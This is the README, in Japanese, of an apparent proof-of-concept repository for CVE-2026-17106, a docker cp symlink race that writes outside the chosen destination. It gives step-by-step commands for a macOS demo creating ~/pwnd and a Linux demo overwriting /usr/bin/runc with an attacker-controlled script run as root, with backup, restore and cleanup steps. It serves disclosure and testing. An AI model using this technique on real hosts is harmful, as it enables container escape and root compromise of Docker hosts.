
docker cp で Docker ホストを乗っ取る (CVE-2026-17106)これはブログ記事 CopyEscape: docker cp で Docker ホストを乗っ取る — CVE-2026-17106 の PoC リポジトリです。
CopyEscape は、悪意のある実行中のコンテナが Docker のアーカイブ生成処理と競合し、不整合な tar ストリームを作成できるようにします。脆弱な Docker CLI は、展開中に仕込まれたシンボリックリンクをたどり、docker cp を実行しているユーザーが選択したローカル出力先の外に書き込む可能性があります。
このリポジトリには、以下の2つのデモが含まれています:
macos/ には、macOS ホスト上に ~/pwnd を作成する非破壊的な Docker Desktop デモが含まれています。linux/ には、/usr/bin/runc を上書きし、置き換えられたランタイムが実行されると /imperva_red_team を作成する、影響の大きいオリジナルの Linux デモが含まれています。[!WARNING] これらの PoC は、所有者自身のシステム、または明示的にテストを許可されたシステム上でのみ実行してください。 Linux PoC は意図的に
/usr/bin/runcを置き換えます。使い捨て VM を使用し、起動前に検証済みのバックアップを作成してください。
/usr/bin/runc デモのための root 権限。PoC は Docker Engine/CLI 29.6.1 および Docker Desktop 4.81.0 に対して開発およびテストされました。修正版では、悪意のあるアーカイブを拒否するか、選択した出力先の外に書き込まずにコピーを完了するはずです。
~/pwnd を作成するこのデモは、Docker CLI を実行しているユーザーのホームディレクトリを対象としています。~/pwnd またはローカルの file.txt 出力先がすでに存在する場合、処理を続行しません。
実行:
cd macos
./demo-macos.sh
このランナーはイメージをビルドし、準備済みコンテナを起動し、/watched/file.txt が内部では通常のファイルとして見えることを確認して、次のコマンドをトリガーします:
docker cp <demo-container>:/watched/file.txt ./file.txt
影響を受ける Docker Desktop バージョンでは、コピーによって次のものが作成されます:
~/pwnd
内容は次のとおりです:
COPYESCAPE_MACOS_DEMO
クリーンアップ:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc を上書きする[!CAUTION] このデモは、Docker ホストのランタイムを一時的に使用不能にし、攻撃者が制御する置き換えプログラムを root として実行します。使い捨て VM を使用してください。
docker cpが戻った後、別の Docker コマンドを実行する前にruncを復元してください。
root シェルを開き、Linux PoC ディレクトリに移動します:
sudo -s
cd linux
テストを開始する前にバックアップを作成して検証します:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
イメージをビルドします:
docker build -t copyescape-linux .
準備済みコンテナを最初のターミナルで起動します:
docker run --name copyescape-linux copyescape-linux
2番目の root ターミナルで、準備されたパスがコンテナ内のプロセスからは通常のファイルのように見えることを確認します:
docker exec copyescape-linux cat /watched/file.txt
期待される出力:
top-level file
脆弱性をトリガーします:
docker cp copyescape-linux:/watched/file.txt ./file.txt
影響を受ける Docker バージョンでは、/usr/bin/runc に今度は PoC シェルスクリプトが含まれます。置き換えられたランタイムを実行すると、root 所有のマーカーが作成されます:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
別の Docker コマンドを実行する前に、すぐに元のランタイムを復元します:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
runc が復元および検証されたら、残りのテスト成果物を削除します:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
両方の PoC は、Docker デーモンが下層のディレクトリを認識している間、/watched/file.txt をコンテナ内で実行中のプロセスに対して通常のファイルとして公開します。Docker のファイルシステム走査中に、モニタがディレクトリを仕込み済みの絶対シンボリックリンクに置き換えます。結果として得られる tar ストリームには、シンボリックリンクと、その下にある子エントリが含まれます。脆弱な Docker CLI はシンボリックリンクを作成し、それを介して子エントリをクライアントファイルシステム上に展開します。
最終的な書き込みは、docker cp を実行しているプロセスの権限を引き継ぎます。